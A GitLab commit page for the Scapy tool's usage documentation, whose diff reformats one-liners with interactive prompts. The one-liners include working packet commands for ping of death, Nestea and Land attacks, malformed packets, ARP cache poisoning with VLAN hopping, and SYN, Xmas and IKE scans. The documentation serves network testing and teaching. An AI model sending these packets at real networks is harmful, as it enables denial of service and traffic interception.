Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
S
scapy
Manage
Activity
Members
Plan
Wiki
Code
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Deploy
Releases
Package Registry
Model registry
Operate
Terraform modules
Analyze
Contributor analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
CodeLinaro
public-release-test-restored
platform
external
scapy
Commits
75b05497
Commit
75b05497
authored
16 years ago
by
Dirk Loss
Browse files
Options
Downloads
Patches
Plain Diff
Layout corrections in one-liners
parent
652baabe
No related branches found
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
doc/scapy/usage.rst
+16
-16
16 additions, 16 deletions
doc/scapy/usage.rst
with
16 additions
and
16 deletions
doc/scapy/usage.rst
+
16
−
16
View file @
75b05497
...
@@ -1081,9 +1081,9 @@ Similarly, filtered ports can be found with unanswered packets::
...
@@ -1081,9 +1081,9 @@ Similarly, filtered ports can be found with unanswered packets::
Xmas Scan
Xmas Scan
---------
---------
Xmas Scan can be launced using the following command:
Xmas Scan can be launced using the following command:
:
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
Checking RST responses will reveal closed ports on the target.
Checking RST responses will reveal closed ports on the target.
...
@@ -1153,21 +1153,21 @@ Classical attacks
...
@@ -1153,21 +1153,21 @@ Classical attacks
Malformed packets::
Malformed packets::
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
>>>
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping of death (Muuahahah)::
Ping of death (Muuahahah)::
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
>>>
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Nestea attack::
Nestea attack::
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>>
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
>>>
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
>>>
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Land attack (designed for Microsoft Windows)::
Land attack (designed for Microsoft Windows)::
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
>>>
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
ARP cache poisoning
ARP cache poisoning
-------------------
-------------------
...
@@ -1176,12 +1176,12 @@ its ARP cache through a VLAN hopping attack.
...
@@ -1176,12 +1176,12 @@ its ARP cache through a VLAN hopping attack.
Classic ARP cache poisoning::
Classic ARP cache poisoning::
send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
>>>
send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
inter=RandNum(10,40), loop=1 )
ARP cache poisoning with double 802.1q encapsulation::
ARP cache poisoning with double 802.1q encapsulation::
send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
>>>
send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
inter=RandNum(10,40), loop=1 )
...
@@ -1190,14 +1190,14 @@ TCP Port Scanning
...
@@ -1190,14 +1190,14 @@ TCP Port Scanning
Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error::
Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error::
res,unans = sr( IP(dst="target")
>>>
res,unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
/TCP(flags="S", dport=(1,1024)) )
Possible result visualization: open ports
Possible result visualization: open ports
::
::
res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
>>>
res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
IKE Scanning
IKE Scanning
...
@@ -1206,14 +1206,14 @@ IKE Scanning
...
@@ -1206,14 +1206,14 @@ IKE Scanning
We try to identify VPN concentrators by sending ISAKMP Security Association proposals
We try to identify VPN concentrators by sending ISAKMP Security Association proposals
and receiving the answers::
and receiving the answers::
res,unans = sr( IP(dst="192.168.1.*")/UDP()
>>>
res,unans = sr( IP(dst="192.168.1.*")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
)
Visualizing the results in a list::
Visualizing the results in a list::
res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
>>>
res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
...
@@ -1246,12 +1246,12 @@ Tracerouting an UDP application like we do with TCP is not
...
@@ -1246,12 +1246,12 @@ Tracerouting an UDP application like we do with TCP is not
reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP,
reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP,
NTP, etc.) to deserve an answer::
NTP, etc.) to deserve an answer::
res,unans = sr(IP(dst="target", ttl=(1,20))
>>>
res,unans = sr(IP(dst="target", ttl=(1,20))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
We can visualize the results as a list of routers::
We can visualize the results as a list of routers::
res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
>>>
res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
DNS traceroute
DNS traceroute
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment